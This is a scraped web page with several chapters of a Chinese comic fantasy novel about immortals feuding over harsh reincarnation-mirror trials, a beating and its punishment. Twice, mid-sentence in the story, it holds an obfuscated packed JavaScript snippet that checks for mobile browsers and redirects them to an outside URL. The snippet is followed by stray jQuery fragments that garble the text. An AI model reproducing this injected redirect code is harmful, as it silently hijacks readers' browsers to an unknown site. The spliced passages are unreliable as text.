“救命救命！战神打人啦！有没有法律有没有正义啦！？”灼春余光注意到隔岸观火的鸣桐和煽风点火的小扶疏，内心崩溃，“鸣桐！！你就这么看着吗！？” 小扶疏跳起来啐她一口：“少废话！当初我们在轮回镜里受苦受难，你不也只是那样看着！现在知道我们的感受了啊！” 鸣桐不好意思地抬手晃晃：“那个……战神注意分寸啊……” 灼春怒：“你这叫阻止吗！？这不是让她轻点打吗！？” 鸣桐从善如流，语气正经几分：“别打了别打了，要打去练武场打，否则我去告掌舵了。” 一堆脏话堵在灼春嗓子眼。 这什么话？她小孩子吗？有这么拦人的？ 罢了！求人不如求己！ 灼春不再在宽阔的院子附近兜圈子，当即跑进屋，围着轮回镜和挥着竹竿的龙缨玩追逐。 屋子里虽然小，发挥空间不大，但是贵重物品多。她想，都这么多回了，龙缨再怎么怒发冲冠，也该有点抗性，起码最基础的理智应当存在，知道什么东西不能碰，什么东西不能打。 两人进入室内后，果真如她所料，龙缨的攻击对象只有她，别的东西哪怕一张废纸也不会轻易损坏。而室内杂物多，龙缨受到约束，行动迟缓不少，给灼春留出了充足的喘息空间。 好……就这样拖着，把她的精力消耗完！ 此时的灼春忘记了自己与对方的实力差距。 不论如何，龙缨是封了神的仙者，攻击力防御力法力耐力都是数一数二的存在，她一个混日子的仙者想打消耗战？怕是五个灼春来车轮战都耗不了人家的一半体力！ 就在灼春发现自己开始腿酸跑不动时，一直被她用来当挡箭牌的轮回镜忽地发出强烈反应，风铃抖动得跟要断裂似的。 灼春心头一紧，心想该不是自己躲避的时候不小心摁到了哪里增加了几道劫数，百捷要撑不过去了吧。 她连忙对飞棍要打自己的龙缨喊停，从轮回镜后探出脑袋偏头看镜面——一道刺眼的光一闪而过，镜中飞出一条腿踢断了半空中迎头而来的竹竿。被踢飞的那半截竹竿在空中转啊转，撞到墙壁时以惊人的力量猛地冲破障碍掷入院中，生生扎进鹅卵石路七八寸，就跟原来长在这一样稳当。 龙缨：“……” “百捷！我的好姐妹！救命啊！龙缨她想打死我啊！！” 灼春当即扑过去抱住了百捷的另一条腿痛哭流涕。 龙缨见百捷横眉立目的模样，扔了竹竿，以气幻化出趁手兵器，准备来一场体无完肤、头破血流的大仗—— 孰料，百捷飞起的腿不向着远处的她却向着近处的灼春踢去——一踢八米远，灼春撞到柜子还弹了弹，掉落的陶瓷、怪石摆件当当当地砸到灼春身上造成二次伤害。 灼春：“！？” 灼春忍不住噗噗喷血。 如果她没感觉错，她的五脏六腑都被这猝不及防的一踢震碎了。 交友不慎交友不慎啊……那厮分明想弄死她！！ 早知道让她死轮回镜里了！！ 百捷愠怒地活动全身关节，尤其是两只手，捏得嘎吱作响，幻化出一柄狼牙棒嘶吼着往瘫地上吐血的灼春冲锋。 奄奄一息的灼春注意到她的动作，满心凄凉。 一个屋里，有两个想打死自己且巨能打的战斗员，她有活路吗？ 必死。 灼春有了答案都开始琢磨下辈子怎么过了，忽然看到一丝转机——龙缨居然不计前嫌拦住百捷了！ 龙缨皱眉：“冷静。” 灼春：！！ 加油啊！战神大人！拦住那个武疯子！ 然而龙缨根本拦不住暴怒中的百捷，不过三招就被推远，只来得及往灼春身上扔一个保命的防御咒术。 灼春不禁泪流满面。 百捷是单打独斗的“神”，单体战力最强，世上无人能敌。灼春便是借着好友的光，才安然无恙地活到现在。 然而，正因百捷是单打独斗的“神”，所以，当对方的攻击对象变成自己，最后竟连个劝得住架的人都没有！ 成也百捷败也百捷…… 灼春一边反省一边忐忑，紧绷的心在百捷在自己面前举高武器那一刻悬到最高—— “咣当！” 狼牙棒狠狠砸在灼春身上没留痕迹就被弹开。 灼春深吐一口气—— 感谢战神赠送的保命符！毫发无伤！ ——但是减伤不减疼！狼牙棒虽然没造成实际损伤，可本应存在的疼痛依然存在！ 你大爷的！你大爷的！龙缨你小子故意的吧！？ 百捷很熟悉自家斗武殿的保命咒术，知道伤不了对方越加恼火，当即幻化十八般兵器，砸一样扔一样，当飞镖似的一次性用在灼春身上。 灼春开始还想挣扎躲躲，后来发现残破的身躯没那个能力，也就只能绝望地躺平任打任骂了。 “百捷！过了！” 龙缨略微调息便冲过来摁住百捷的双肩，严词厉色盯着她。 百捷因愤怒而胸口起伏，瞪着制止自己的龙缨，喘息一次比一次激剧，到了第四次，她呲着一口牙用头顶开对方，扔了所有武器空手上阵，骑在灼春身上拳打脚踢…… “百……” 龙缨捂着心口回身，忽然看见百捷停手，俯下身子抱头嚎啕，哭得撕心裂肺，仿佛要把自己哭死一般。 龙缨愣住了。 外头的鸣桐似有所感，抓着小扶疏进屋，看到的便是百捷恸哭的一幕。 鸣桐错愕地垂下手：“你们这是……” 龙缨起身，沉默地拍拍百捷的后背，将她扶起。百捷一个扭头埋在龙缨肩窝，抱着她大放悲声。 龙缨支撑着百捷走到门口，一直惊讶瞪眼的小扶疏恍然了什么，跟在两人后面一路蹦跶着，说什么“我懂我明白”“同是天涯沦落人”“大家都是这么过来的”……接着三人便一同离开了此地。 鸣桐有些心虚自己刚才的作为，于是没好意思看地上的灼春，说了句“我去看看他们别出事了”就仓促离开。 此时，遍体鳞伤、只剩最后一口气的灼某人，躺在地上不知该做什么反应。 万千思绪化为一声——< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15029263|160893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 造孽啊。 灼春在一片狼藉中躺到天快黑，终于等来了人—— “偶仙老师？”麻惠良声音不确定。 不怪她不肯定，而是灼春现在的模样确实太抽象了，要不是确定了这里是情理所，麻惠良连这个疑问句都发不出来。 “是我……” 费劲找回自己的声音后，灼春问她怎么回来了。麻惠良说出游结束，她想回来放点东西……然后就遇上这个情况了。 “……总之，先带我去看大夫——劳驾搬下我的身体，我残了。” 麻惠良立刻着手搬运。 麻惠良：“好的……是去妙回堂吗？” 灼春趴在麻惠良背上，说：“太贵了看不起，到生灵殿去。” “……可那里是给动物看病的吧？” “小麻，”灼春叹气，“人不是动物难道能是植物？” “哦……” 麻惠良其实还有疑问，但是她不愿意多跟人交流，就敷衍回应，将心里的疑问尽数吞下。 横竖不是要紧的问题。 麻惠良尽快将灼春送到生灵殿，但鸣桐不在，灼春就让她把自己放下，她一个人等就行。于是麻惠良遵从她的意思，把灼春放在大殿里头的病床上然后离去。 灼春躺在床上等，没等来鸣桐，倒等来了鸣桐的那些“小朋友”。 于是等鸣桐回来，看到的就是灼春被飞禽走兽们或舔或躺或趴或磨爪或磨牙的画面。 灼春哭兮兮地说：“怪不得你要问我讨人呢，你这殿里确实少个接待客人的人。” 鸣桐这才知道灼春受了这么重的伤，无心其他，立刻为她疗伤。疗伤过程中，她终是忍不住，劝说灼春稍微反省一下自己的工作，不要只追求效率，也顾虑一下当事人的心情。 鸣桐曰：“人心纤细，经不起反复的蹂躏折磨。司劫点到为止，不要为了最终效果让仙者的感情破碎，结成心结，损人不利己，得不偿失。” “……鸣桐，我一直以为你能理解我的。” 灼春不理解鸣桐居然也说这话，之前提起这个事，鸣桐可是站在自己这边的，在轮回镜里走了一趟转性了？ 鸣桐：“我理解你，同时我也理解了那些历劫的仙者。——灼春，渡劫就是一个仪式，没必要非得让仙者们在这个仪式中成长到另一个境界，循序渐进，哪怕只进步一点点不也好吗？” 灼春并不赞同。 仙者不同于常人，普通人可以慢慢来一点点进步，因为他们能力有限。但是仙者，仙者可是通过天道考验的，各方面都胜于常人，怎么可以在心性上宽以律己呢？ 她以为，哪怕修炼法术都可以不用那么认真，但是心境必须时刻锻炼，至少不能不接地气。如果引导众生的仙者都无法切身体谅民生，那么又怎么能指望他们做出什么好事呢？怕不是会成为何不食肉糜的社会渣滓。 “……灼春，你是真这么想的，还是有玩弄人心的私心呢？” 仙者也是众生之一，不是无知无觉的工具，她所说的众生有仙者的位置吗？ 面对灼春的滔滔不绝，鸣桐终是没再坚持辩驳，草草结束治疗，便将她请出生灵殿。 灼春知道她这是有情绪了。 但……她不想对鸣桐虚与委蛇。 鸣桐是全天下最好说话的人了，她以为对方能理解的——如果她都不理解，那是不是……自己真的做错了呢？ 又想到好友百捷似乎也站到自己对立面了，灼春不由得一阵心慌。 不行不行，这样下去她不被打死也得吓死！ 53.对症下药 理论上，由相睦会工作而导致的困难都可以找掌舵。 灼春再一次跑到林鸿面前哭诉，次次都是司劫的事，林鸿烦心也起。 不是都贴了告示不准拿司劫泄愤么，还有人蔑视文件顶风作案？ 之前也有仙者忍不住，不过都是小打小闹，灼春没追究，她睁一只眼闭一只眼就过去了。可这回，这么明目张胆地动手，还有不少人围观，打的何止是灼春的脸，还有她林鸿的脸，相睦会的脸！ 林鸿的火气蹭蹭蹭往外涌，红色的焰气几乎具象化，在主殿上空翻涌。 百捷几人被林鸿传唤到主殿，一顿痛批。 百捷深知自己理亏在前，而且打灼春确实过火了，于是闷声不响接受批评。林鸿说要罚，也不讨价还价，竟全盘接受。 半数家产充公？不过是钱，别说半数那么小气的话，她全给了。 面壁思过？不就三年，眨眼就过去了。 灼春见百捷真甘心受罚，反而心情微妙。 她只是气不过友谊的小船说翻就翻，想给百捷一个教训，让她知道自己也不好惹，可并没想真罚她什么。若是一方生气了说气话，另一方还较真，这朋友还当不当了？ 吵归吵，闹归闹，别拿绝交开玩笑。 于是灼春主动息事宁人，求林鸿免去百捷的牢狱之灾，也不必抄家那么严重，赔点钱意思意思得了。 林鸿更不平了，指着百捷等人的鼻子臭骂。 “——你瞧瞧，人家什么胸怀！你再看看你们自己，你们是什么胸怀！”林鸿这次一点面子都不给留了，什么话狠说什么，“帮你们渡劫是人家的工作，只要做了就大功告成了，至于结果好不好、干得认不认真用不用心全凭个人良心。灼春大可以敷衍了事，你们来一个，她帮一个，只要你们不死她就不算出纰漏，至于你们会不会连草履虫都打不过，跟她有关系吗？那她为什么非要花那么多时间、心思、精力、法力来做这份工作提升你们的力量？嫌你们打得不够狠，打不死她？” 林鸿环视一轮他们。 “一个个的，都出息了啊！玩得一手过河拆桥，卸磨杀驴！你们再这样恩将仇报还有谁敢替你们好好司劫！？” 林鸿回忆往昔，叹：“灼春这司劫是我任命的，她本来没有这个职责，是我硬加给她的。你们知道我为什么要这么做么，啊？灾潮一来，无数仙者先后陨落，咱们的综合实力一落千丈。是，虽然你百捷、龙缨，在相睦会全盛时期也是实力拔尖的存在，但是万一灾潮卷土重来，光凭你们俩，能护得住所有百姓吗？就不说灾潮，平常打击罪犯，靠你们俩能面面俱到吗？轮回镜渡劫，短时间提高仙者个人实力，以此提高相睦会综合能力，不光是为了执法，也是为了镇压、警示告诫那些不法之徒……这些道理你们想不明白？” 受训的几人沉默不语。 “灼春没兼任司劫之前，大家都是自己找人互相司劫，没有完善的规章制度，司劫也没有这方面的知识技巧，最终效果可有可无。除非大灾难时期我们联合起来怀着最大程度提升力量的心，以历劫仙者身陨道消为巨大代价替其司劫，基本上，进了轮回镜，默认就是会实力大减，需要出来后自我鞭策修行，花费大量时间恢复原本水平。——现在如何你们也看到了，灼春上任时诸位仙者多么激动——说的就是你百捷！当初压着灼春接受委任状的人之中就有你！——一个个巴不得自己立刻历劫去！这下好了，人家司劫时呕心沥血，不光帮你们达到了修炼百年都不一定能达到的层次，还特意研究了那个叫……‘灵盘’的模板来给大家提高下限！好处全吃了，眼前的坏处全不要！凡事一体两面，天下哪有只有益处那么好的事！” “换言之，如果你们是灼春，你们能做到什么程度？” 林鸿看向百捷：“是能想出因人而施的有效劫难？” 又看向鸣桐：“或是能创造提高效率的灵盘？” 再看向小扶疏：“还是能接受非战情况下俾夜作昼地为他人司劫？” 小扶疏不服气地嘟囔：“如果是工作要求那我自然……” 他瞥见林鸿的眼神，当即把话咽回去，憋出一句“不能”来。 最后看到龙缨，林鸿紧盯对方眼睛：“能吗？” “……” “这么说吧，灼春的严格是我授意的，你们有意见向我提，她做得好坏我自会斟酌。如果你们对我不敢说、不敢做，那么那些话那些行为，也不该对灼春做。”林鸿厉声。 片刻沉默后，她软了口气：“该说的话我都说了，我知道你们都是通情达理的仙者，都回家好好想一想吧，接下来三天，都呆在家反省，哪儿都不要去，什么事都不要做了。” 说完，林鸿发现小扶疏窃喜的神情，补充说：“小扶疏你例外，回慎刑殿去，之后三日我会通知夏掌刑亲自看着你！如果你再有逃跑的不安分行为，我就要采取惩罚措施了！” “好好好。” 小扶疏嘴上敷衍答应，心里十分不屑。 嘁，不就是惩罚么，他现在不就是？有本事罚他坐一辈子牢！嘁，还‘叫夏掌刑亲自看着你’～不容他逃跑他都逃跑多回了！就夏至凛那两下子唬得住谁啊？在她反应过来之前自己就跑完回来了！ 嘁！略略略—— “……再有出逃行为，由夏掌刑施笞刑。”林鸿眯着眼说。 “哦哦，知道了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15034293|160893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不就是笞刑，又没多疼。就是脱裤子挨打有点难堪……不过，只要他不尴尬，尴尬的就是夏至凛那丫头了—— “大扶疏全程旁观。”林鸿冷漠道。 小扶疏一怔：“……太坏了。” 林鸿当即接话：“我能不能当坏人，全看小扶疏你给不给机会。当然了，我希望自己没机会背恶名。” 解决了小扶疏，林鸿想了想还是决定不能免去百捷的全部惩罚，就一点点罚银难以服众，别人不知道灼春求情的内情，难免会认为是她在鼓励犯罪。 林鸿：“这样，如灼春所言，百捷的罚银都不收了，但是灼春的医药费，百捷必须承担。” 灼春激动：“青天大姥姥！” 百捷鼻孔里出气：“哦。” 林鸿：“还有，百捷必须贴身照料灼春，直到她挨打的伤痊愈为止。” 灼春愣住：“……诶？” 百捷眼角一抽：“……哦。” 灼春疯狂举手：“老大这就不必了吧！承担医药费就行，我可以照顾自己的不用别人帮忙！” “不行，你可以但是不必要。”林鸿态度意外坚决，“只有让伤人者知道伤口有多难愈合，治愈一个人有多耗精力，她才会懂得克制自己。” 灼春：“……” 好堂皇的理由，一时无法反驳。 该罚的罚完，该说的说完，诸人都有各自的去向——小扶疏被夏至凛带走，百捷跟着灼春走，按理，鸣桐和龙缨也该各回各家，然而两人走出主殿，不约而同地对视一眼后，齐声小叹。 “……不妨一起？”鸣桐苦笑。 龙缨考虑片刻，点了头。 林鸿要百捷贴身照料灼春，百捷果真一板一眼寸步不离地照顾——没有任何小动作的认真照顾。只是沉着脸，不和灼春说其他的话，除了治疗，也不与她有另外的接触。 灼春到底是受不了好友的冷漠，主动示好，让百捷把怨气都发泄出来，有话说话，吵得火热也比冷战强。 百捷并不是藏得住话的人，沉着脸憋了几天差不多也算忍到极限了。当灼春哭鸡鸟嚎地过来求和好，百捷便再也忍不住，同样呜呜哇哇哭着控诉。 灼春哭：“哇哇呜哇哇呜——” 百捷对着哭：“呜哇哇呜哇哇！！” 灼春大哭：“呜呜呜，呜哇呜呜呜……” 百捷爆哭“呜哇——呜哇——哇哇哇——” “哇！！” 最后两人抱着哭，哭了整整俩小时声音才渐渐息下。 敞开心怀地放肆了一场，两人终于抽抽搭搭地搭肩和好了。但是两人哭哭嚷嚷地到底说了什么，连天道都不一定知道。 54.收因结果 夏至凛带走小扶疏后，直接把人扔到了地牢第三层，吩咐守在出入口的执司看好。 慎刑殿的监牢共有两类五层，一类是地面上的普通监牢，占一层；另一类是地牢，在地下占四层。 普通监牢关押的是普通犯人，每日需要干劳改的活；地牢一层的犯人也需要劳改，但比起普通犯人，罪行更加恶劣，所以关在坏境更恶劣的地下一层；地牢二层的犯人基本不劳改，倒不是犯的罪轻，恰恰相反，正是犯了重罪，再加上认罪态度不好、没有反省意识，所以关起来，留待干其他犯人都不愿干、干不了的脏活苦活累活；地牢三层关押的则是论罪应当判死刑，但因为死刑已废而无刑可罚的罪大恶极之人，不被允许放出，每日也仅提供维持生命的最低饮食，不见天日，环境极其恶劣；地牢最深层则关押死有余辜的大恶人，本来是不存在的层数，由于某个大恶，所以相睦会全体施法在地牢三层以下再挖了一个更深三层的监牢，下了重重封印，使人与世隔绝地孤独活着，食物空气和水都不提供。 小扶疏本来是被关在地下一层的，但后来越狱，被吉吾捉回来，就关在了地下二层，如今被龙缨抓住——慎刑殿的人感觉受到莫大的侮辱，纷纷对自家掌刑把人丢进地下三层的决定表示支持！ 但……小扶疏毕竟只是因为太能逃了才被关进地下三层，是个例外，所以当厨神扶疏带着烧鸡过来探视，慎刑殿所有人都没有为难她，只是进出时好生检查一番，掐断所有让小扶疏脱逃的苗头。 扶疏托着夜明珠摸墙进入地牢三层，弯弯绕绕走了许久才到被关押在尽头的小扶疏牢房前。 她一边叹气一边把带的饭菜取出来：“诶，受苦了吧？长记性没有？以后可不能乱来了。” “我没有……”小扶疏含着筷子委屈嘀咕。 ——“扶疏，手艺退步了么。” 灼春趴在百捷面前，娴熟地往嘴里塞了一块白毛巾。 百捷左手托抓着一个药坛，右手握木勺，在药坛里打漩涡，将药膏搅匀，然后掘了一勺啪地甩在灼春后背，粉刷墙似的把药膏在斑驳的伤口上抹严实。 “嘶……这伤口怎么恢复得这么慢啊？我们斗武殿的人上药之后没几天就好全乎了，你这都十多天了！——春，你身体不行啊。”百捷摇头。 “……姐姐，就你这个上药方式，上一次药伤口裂开一次，不恶化就算神丹妙药了。”灼春说完，又把白毛巾塞回嘴里。 “哦……也是，那我轻点。” 百捷颇为听劝，马上收了力，不过没轻几下，力道又慢慢上来。 灼春：“……” 算了，她都习惯了。 上完药，百捷又给她拍背增进药物吸收。 百捷：“掌舵说得对啊，伤人容易救人难啊……就这么一点伤，居然能让你残废这么久。” 灼春：“……” 算了，习惯了。 灼春默默将嘴里的红毛巾取出，换个面重新翻折，再把白毛巾塞回去。 灼春迟迟不能痊愈，除了有百捷本身不擅长照顾人的因素外，还有一条，就是百捷经常看着看着就给灼春来一巴掌。 两人的确和好了，但是百捷称，历劫的经历太让人难以忘怀，所以看到灼春就气不打一处来，不过她会尽力克制自己少动手。 毕竟是说少动手而非不动手，说明百捷确实在努力完成承诺。既如此，灼春又能说什么呢？ 自己种的因，苦果只能自己吃了…… 那头龙缨鸣桐在生灵殿被关了三天禁闭，交流了三天的轮回镜劫后感，没反省出什么过错，倒是促进了双方的关系。 解禁后不久，鸣桐听说牛执司他们组织了一场受灼春害的历劫仙者交流会，兴趣使然，便拉着龙缨一同参加。 交流会并不严肃，比起“交流会”更接近“茶话会”，尽管对外名头是说“阅读交流会”。 会场内放置着一张硕大的环形桌，形形色色的茶点在环形桌上内外摆了两圈。大概是在桌上设置了漂浮咒，所有茶点缓慢地在桌上循环旋转。 龙缨她们到达会场，看见环形桌外坐着不少形单影只的仙者，默默取用桌上来来去去的茶点；环形桌内圈的仙者都三五成群或站或走，十分热烈地讨论着—— “沈莲当初就不该带顾禾去那个村子！村民太可恶了！恩将仇报！他们难道忘了沈莲是如何牺牲自己救下那些孩子的吗！？” “顾禾被人污蔑摁进水里活活淹死，还要听周边人虚构自己的过往，被泼脏水……如果沈莲在，绝对不会这样……” 龙缨：“……” 啊……是《镜中纪事》的吐槽大会…… 跟着鸣桐往内圈走了一段，龙缨忽地察觉不对。 沈莲……有牺牲自己救孩子的桥段？ 顾禾不是死在火里吗？淹死是…… 当初乔江山跟她讲《镜中纪事》的故事，百捷知道后，非拉着她推荐，说亲自看和别人转述的感觉有云泥之别，还借给她一本让她看。 她抵不住百捷夺命连环催，便找了个机会完整看了一遍。 嗯……和乔江山转述的故事虽然大差不差，但是内容更丰富，细节更多，同时，更揪心。如百捷所说，确实是完全不同的体验，褒义的。 龙缨听见此处其他仙者口中完全没印象的片段，心生疑惑，是她记岔了？ 鸣桐忽地悄声：“天道森严，不许仙者提及轮回镜中的遭遇，所以仙者们只能以书借喻，表达自己难以释怀的经历。” 龙缨明白了。 就跟当初乔江山讲故事一样。 龙缨努力回忆书中的内容，打算好好区分故事与仙者们真实的体验。 会程过半，龙缨默默听了不少仙者的故事，隐约知道了大家都有怎样的经历。千万种不同的苦楚叠加，她居然悲伤到解离，心情复杂得开始欣赏灼春，竟能短时间内想出那么多折磨人的点子还不重样。确实天赋异禀，掌舵看人真准。 其实参与交流会的大家对龙缨的故事也很感兴趣——那可是万恶之源，灼春司劫的滥觞——可惜龙缨寡言，对自己的遭遇更是闭口不提，逼得太紧最多说一句“与顾禾差不多”。 交流会并不只是随意交谈，到了后半场，与会者都自觉坐到环形桌外围。等人齐了，牛执司站起来发言。 牛执司：“各位会员好，这次交流会的开展延迟了一些时间，理由我在此解释一下。大家都知道这段日子司劫灼春又开了好几次轮回镜，受害者数量又有增加——首先我们欢迎新人，兽医仙鸣桐和战神龙缨！大家鼓掌！——其次，得知司库吉吾也进过轮回镜，我是想拉她进会，可惜……” 牛执司在发言，龙缨在底下面无表情地惊讶。 她一直以为牛执司是个笨嘴拙舌的老实人来着，结果完全不是？唔……小扶疏不在了，她们斗武殿正好缺一个擅长演讲的人，或许牛执司可…… 这个念头才刚在脑子里成型，龙缨就打消了它。 牛执司接下来的表现实在让人不敢恭维。 他虽然不怯场，讲话滔滔不绝，情绪激昂，能牵动人心——但是废话太多，东拉西扯一大段还让人摸不着重点，如果听众认真听就会知道不值得仔细听。 龙缨不动声色环顾左右，发现大多数人要么原地发呆，要么喝茶吃东西。 ……这样可不行啊。 她变出纸笔，打算记下牛执司演讲出现的问题，事后让他改一改。 牛执司：“……掌舵的人生经历很丰富，年轻时甚至追随过有史以来的第一位仙者——第一位仙者是谁你们知道吧？也是第一位封神仙者，水神凌淮，她……” 龙缨记下“铺垫太长，内容跑偏”。 牛执司：“……在座的每一位都吃过轮回镜的苦头！比如说我，我在轮回镜里……” 龙缨记下“过于凸显自己，详略不当”。 牛执司：“……灼春司劫后，给我们带来的都是痛苦！可掌舵完全不管不顾地偏帮她！究其原因，就是掌舵吃不到葡萄说葡萄酸！” 龙缨摇头，记下“逻辑不明，用词不当”。 牛执司：“……所以我建议，我们应当让掌舵也切身体会一下我们的痛苦，阻止以后的惨案发生！……”< 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文件传到龙缨和鸣桐手里，她们才发现大多数仙者居然都署了名，至于附件上，更是整整齐齐一个不漏。 “看来大家对历劫的怨气很重啊……” 鸣桐叹了一句，没有在任何一处署名，龙缨也是如此。 另一边，灼春对百捷的贴身照料感到害怕。 怎么能不害怕呢？原本几天就能好的伤，几天过去，不但没好还严重了！ 灼春本来想着忍一忍就过去了……但是过不去啊！ 百捷在，伤口长不好；伤口长不好，百捷就不能走；百捷不走，伤口就长不好…… 这他大爷的就是个死循环啊！ 灼春忍不了。 灼春不忍了。 耐心耗尽，灼春决定摊牌。 “百捷，我要去找吉吾聊工作的事，你先回家呗？我好了再找你？” ……直言不但伤感情还会不小心激将到对方，婉转一点好了。 百捷坚决：“不行，掌舵让我寸步不离，军令如山，我不能忤逆。” “你……她……这……军……唉……” 要吐槽的太多，最后灼春什么也没反驳，无奈地叹了口气。 百捷说：“你要找吉吾就去吧！放心，我就在边上守着你，不会影响你们的。” 灼春：“……” 百捷见灼春磨磨蹭蹭没有动作，还好心地催促她出门。 灼春：“……” 好嘛，本来只是个赶人走的借口，现在真得去了。 灼春带着小尾巴百捷找到金钱殿内的吉吾，问她什么时候可以再合作出书。 吉吾莫名：“嗯？掌舵不是禁止……诶！” 灼春一把揽过她，跟她咬耳朵：“知道知道……但是我这有特殊原因，咱们合作一下嘛！掌舵说的是不能写悲剧，那咱们不写苦的，写甜的不就好了？——这么一来，你能赚钱我也能解燃眉之急，一举两得，何乐不为呢？” 吉吾瞥她：“你很缺钱？医药费百捷不都帮你出了，你哪儿还需要用钱？” 灼春咋舌：“我不是为你考虑嘛！你喜欢赚钱，我就帮你赚钱嘛！大不了分红我少拿点！” “免了，我的确有赚钱的爱好，但也不是什么利润微薄、得不偿失的路子都走。”吉吾直白地拒绝。 “哎你别——再想想嘛！闲着也是闲——” 吉吾抬手打住：“我可不闲——夏侯那边刚改进了‘纸鹤术’，升级成‘信纸鹤术’，我开拓市场挖掘潜在客户忙得很，没空管蝇头小利。” 灼春不以为意：“不就是个传信的法术么，再升级能升级到哪儿去！人人都会用的法术怎么可能有卖书好赚！” 吉吾不悦地推开她。 骂她矮子都无妨，但质疑她的商业眼光就不行了。 吉吾：“能不能赚钱，过段时间你再下结论——慢走不送。” “哎你——” “请！” 55.装神弄鬼 今日林鸿的妙回堂里，忽然多了很多患者。也没啥大病，都是些这酸那疼、可有可无的小问题。 按照以往，这些小问题，大家都是自己熬过去的，怎么现在都愿意花钱治疗了呢。 或许是大家的经济条件上去了？ 林鸿自问自答。 ——“不要紧，只是胳膊扭伤，回去抹点药酒，过个一礼拜就好了。” 林鸿查看了乔江山的左臂，平静地下了结论，准备去拿药酒。 但是乔江山捂着肩膀哎呦哎呦叫，并没准备走。 乔江山：“掌舵，我疼得厉害，忍不了，药酒起效太慢，有没有快一点的方法？” 林鸿一顿：“那我给你配点止疼药。你要哪个价位的？” “钱不是问题！”乔江山要求道，“止疼药治标不治本，药酒太慢，我就想快点治好——最好就是出了这里的大门就痊愈！比如什么秘术啊、瞬间修复啊……” “……这么急？”林鸿诧异乔江山今日突然的脆弱。 她不是向来挺能忍的？怎么忽地比灼春还怕疼？ 乔江山不好意思地笑笑：“疼痛影响工作心情，继而影响工作效率。这两天活儿多，我怕自己做不好招理事长骂嘛……” 林鸿思索片刻，建议：“我倒是有个针灸的法子能瞬间治愈伤处，但因为是通过灌输法力加速愈合，所以尽管快速有效，可治愈的一瞬间会把正常愈合时间的长期疼痛叠加到一起，那个瞬间会很疼——” “可以可以，就是它了！”乔江山眼前一亮，立马催促林鸿施针。 虽然患者非常肯定，但林鸿还是认真地讲完施法的利弊和所费金额，等她了解完再让她做决定。 乔江山初心不改：“我知道了，就用这个！” 林鸿：“……” 既然患者都这么说了，她还能推脱什么呢？ 林鸿准备好一袋银针，指尖吐火烫过一遍后，便一根一根地捻出，在乔江山左臂上下针。 “……针下完了，我现在开始注入法力，会很疼，你千万忍住不要乱动，乱动会更疼。” 林鸿讲究循序渐进，一开始注入法力很慢，让乔江山先适应适应。过了会儿，她见基础打得差不多了，便加快了施法速度，并且做好患者随时惊起的心理准备。 一、二……摁住！ ——呃嗯？ 没反应？ 林鸿疑惑：“小乔执司，你现在感觉如何？” 乔江山语气轻松：“和原来一样——掌舵您开始施法了吗？” 林鸿皱眉，往银针里注入更多法力。 林鸿：“现在呢？” 乔江山纹丝不动：“没感觉呢。” 嘶……那可真是奇了大怪了…… 林鸿查看了下针的穴位——没失手啊！ 她又暗暗感受灵台内的法力流动——很顺畅啊？ 林鸿疑惑之际，在等候区坐着的牛执司按捺不住了。 “怎么了？是不是灵台空了？”牛执司捂着落枕的脖子过去，“哎哟我脖子实在疼得受不了了……掌舵，你要是法力不够，我先替你续上呗！治完小乔赶紧帮我看看……” “掌舵，你要是法力不足就让牛执司搭把手嘛！理事堂里我还一堆活儿等着干呢！”乔江山稳坐不动地催促。 “那好吧。” 既然两人都这么说了，林鸿不好推辞便答应下来，借了牛执司的法力再往银针上灌—— “啊啊啊啊疼啊！好疼！！” 乔江山当即吱哇乱叫，但她记着林鸿的提醒，不管怎么疼怎么叫，始终没有动一下身子。 为乔江山取下针后，林鸿看着自己的手满是不解。 然而容不得她思考，牛执司就催着她看病。同样是小毛病，但牛执司还是要求了快速治愈的方法。 林鸿都开始反思是不是相睦会里工作量太大，太压榨执司们了。 不过法力失灵的事故出现了第二次——不，在之后的看诊中，十次能出现九次。 林鸿：“……” 当天最后一位执司离开前，由于目睹了一切，便好心提醒她是不是到寂心期了。林鸿只是否认。 不应当。 她十几年前刚过寂心期，而且灵台使用并无滞涩之感，最重要的是，天道没有发出“寂心期已至”的示警。 仔细想想，只是在治疗患者时失灵，可能有其他特别的原因，比如心理因素什么的……回头闭馆一日，和鸣桐商量看看吧…… 林鸿收拾好妙回堂的东西，关好门窗，刚出门没两步，就听见脑海中响起熟悉的声音—— “寂心期已至。” 林鸿：“……” 所以真是寂心期引发的法术失灵么？ 与此同时，在偏僻的角落，鬼鬼祟祟的一行人正无声地庆祝。 耶！幻术成功了！鱼咬钩了！ 最近家里的动物们不知吃了什么，竟集体拉肚子。平常威风八面的鸟兽们蓦地打蔫儿，趴在地上呜呜叫，比刚孵出来的雏鸟刚长毛的奶猫都可怜，鸣桐哪还有心情责备它们，又是给它们煮药，又是给它们揉肚子缓解疼痛。 “……玄睫，刚刚不是给你揉过肚子了吗？该轮到雪爪了，乖，好好休息，别闹。” 鸣桐盘腿坐在地上，将挤在自己膝前的大黑狗搬到一边，然后将另一只白色爪子的中号红熊抱到腿上给它按摩肚子。 “叩、叩。” 不等鸣桐起身，她身边那只大黑狗就晃着尾巴去咬门栓了。 大门之后是林鸿，她俯身揉了揉吐着舌头哈气的黑狗才进门。 鸣桐浅笑：“我猜也是你，不然它不会这么积极。” 